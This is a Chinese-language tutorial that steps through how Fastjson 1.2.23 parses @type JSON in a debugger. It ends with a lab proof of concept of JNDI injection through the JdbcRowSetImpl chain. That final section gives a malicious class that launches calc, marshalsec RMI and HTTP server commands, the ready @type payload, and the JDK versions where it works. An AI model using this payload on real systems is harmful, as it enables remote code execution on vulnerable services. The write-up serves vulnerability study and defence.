利用JdbcRowSetImpl链对Fastjson1.2.23Jndi注入

2022-11-14 15:07:53 浏览数 (1)

Fastjson介

Fastjson是一个Java语言编写的高性能功能完善的JSON库。它采用一种“假定有序快速匹配”的算法，把JSON Parse的性能提升到极致，是目前Java语言中最快的JSON库。Fastjson接口简单易用，已经被广泛使用在缓存序列化、协议交互、Web输出、Android客户端等多种应用场景。

主要特点： 1.快速FAST (比其它任何基于Java的解析器和生成器更快，包括jackson）

2.强大（支持普通JDK类包括任意Java Bean Class、Collection、Map、Date或enum）

3.零依赖（除了JDK没有依赖其它任何类库）

Fastjson实验环境搭建

Fastjson版本1.2.23下载地址

https://repo1.maven.org/maven2/com/alibaba/fastjson/

https://mvnrepository.com/artifact/com.alibaba/fastjson/1.2.23

jdk1.8.151下载地址

https://repo.huaweicloud.com/java/jdk/8u151-b12/根据系统选择版本我使用IDEA进行代码调试

1.使用Idea新建一个项目

2.pom.xml中添加FastJson版本依赖

依赖代码如下

代码语言：javascript复制
<dependencies>
<!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.23</version>
</dependency>
</dependencies>
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Fastjson简单使用

1.定义一个User类

代码如下：里面包含getName(),setName(),getAge(),sestAge()

代码语言：javascript复制
public class User {
private String name;
private int age;

public User() {}

public User(String name, int age) {
this.name = name;
this.age = age;
}

public String getName() {
return name;
}

public void setName(String name) {
        this.name = name;
        System.out.println("setName");
        System.out.println(this.name);

}

public int getAge() {
return age;
}

public void setAge(int age) {
        this.age = age;
        System.out.println("setName");
        System.out.println(this.age);
}
}
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2.新建一个test类，用于测试执行解析过程

代码语言：javascript复制


import com.alibaba.fastjson.*;
public class test {
public static void main(String[] argv){
testJdbcRowSetImpl();
}
public static void testJdbcRowSetImpl(){
String str = "{"@type":"User","name":"cmd"}";
Object obj1 = JSON.parseObject(str);
}
}
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Fastjson解析过程调试分析

调试开始

在此次设置断点，点击debug开始调试

按f7步入进入pareseObject后再进入parse方法

进入parse方法

进入重载parse方法

跟进DefaultJSONParser构建方法

该类主要是设置一些参数input，config,symbolTable和token。

返回到json类，继续向下执行parser.parse()

根据token=12跳转到该行，跟进new JSONObject

此处是根据传进来的ordered值去判断使用链表哈希还是哈希。传入值为false所以使用HashMap.

执行完成后返回到case条件中，继续跟进parseObject()

进入判断首字符是否为"，然后读取双引号内容为@type赋值为key.

此处判断key是否等于@type，获取需要反序列化类名称，并加载类。

进入loadClass，前面逻辑不满足，一直步入到1032行，加载User类，并将className和clazz存入mapping中

返回到DefaultJSONParser类中继续执行，走到367行，跟进config.getDeserializer方法

进入判断type为Class的实例对象，进入重载的getDeserializer方法。

向下执行到360行，该处获取类名并将$替换为.并判断类名是否在denylist中。denylist只有java.lang.Thread类。继续向下执行。

此处判断clazz是否为num,array等，最终判断到457行，进入关键的createJavaBeanDeserializer方法

跟进createJavaBeanDeserializer,进入一系列判断，执行到522关键代码JavaBeanInfo.build.

跟进JavaBeanInfo.build

declaredFields获取变量名，methods获取类方法

向下执行遇到3个for循环。

第一个for循环是用来获得满足条件的set方法

1.函数名长度大于4

2.非静态函数

3.返回类型为void

4.当前类参数个数为1个的方法

第二个for循环是用来判断类定义的变量是否在public和static类型或属于Collection、Map的实现类或为AtomicBoolean AtomicInteger AtomicLong类

第三个for循环是用来判断满足条件的get方法

1、方法名长度大于等于4

2、方法名以get开头

3、方法名第4个字母为大写

4、无需传参

5、返回值类型为Collection、Map的实现类或为AtomicBoolean AtomicInteger AtomicLong

最后满足条件的方法有,setName和setAge

在第538行将获取到的方法构建一个JavaBeanInfo并返回。

跳转出JavaBeanInfo类，继续在Parseconfig类中执行

第533行进入for循环判断beanInfo.fields中的name和age类的类型。

继续执行跳转到Parseconfig类第460行最后返回一个Fastjson反序列化器

向下执行跳转到DefaultJSONParser类第368行，跟进deserializer.deserialze方法，由于进入了上一步的反序列化器,这部分代码由于是动态生成的所以无法调试。

F8步出,可观察到控制台输入了setName和cmd,这段设置值的过程等会我们通过JdbcRowSetImpl链来分析

小结

Json.parse()

根据text, ParserConfig.getGlobalInstance(), features创建并初始化DefaultJSONParer解析器。实例参数如图下图

DefaultJSONParser.parse()

根据lexer.token()值进入到case 12,初始化了一个JSONObject对象，并将其储存在Hashmap中

DefaultJSONParser.parseObject()

这里是根据获取到的@type值，进入到TypeUtils.loadClass去加载@type后面跟的类。

TypeUtils.loadClass根据传入的类名去加载类

进入到config.getDeserializer,判断类名是否在denylist中，进入createJavaBeanDeserializer

createJavaBeanDeserializer进入JavaBeanInfo.build，JavaBeanInfo.build主要是获得满足条件的set,get方法。

最后在deserializer.deserialze触发setvalue后使用invoke方法去set值。

JdbcRowSetImpl链调用分析

1.生成恶意类

代码语言：javascript复制
public class Exploit {
public Exploit() {
    try {
        Runtime.getRuntime().exec("calc");
    } catch (Exception var2) {
        var2.printStackTrace();
    }

}

public static void main(String[] var0) {
    new Exploit();
}

}`

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将其编译成.class文件,

操作如下进入到Exploit所在文件夹内，打开控制台，输入javac Exploit.java 即可完成编译。

2.启动相关服务

启动http

进入到Exploit所在文件夹内，打开控制台，输入

python -m http.server 8000我python版本为3

启动RMI

进入到marshalsec-0.0.3-SNAPSHOT-all.jar所在文件夹内，输入

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer

"http://127.0.0.1:8000/#Exploit"1389

payload：String str = "{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1389/Exploit","autoCommit":false}";

RMI利用前提

JDK 6u132, JDK 7u122, JDK 8u113 之前可用，之后的版本需要在解析payload前加上如下代码

代码语言：javascript复制
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); 
System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");

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开始调试，我们跳过之前的步骤，直接进入到deserializer.deserialze到parseField下断点

跟进进入到这个函数

继续跟进，进入到setValue中，反射调用setDataSourceName()方法

进入JdbcRowSetImpl中setDataSourceName()

返回后继续执行setvalue()方法会去反射调用setAutocommit()

在setAutocommit()中会去调用connect()方法，然后进入到Initialcontext#lookup()触发JNDI注入。

参考文章：

https://blog.csdn.net/q20010619/article/details/123155767https://www.anquanke.com/post/id/239867#h2-0

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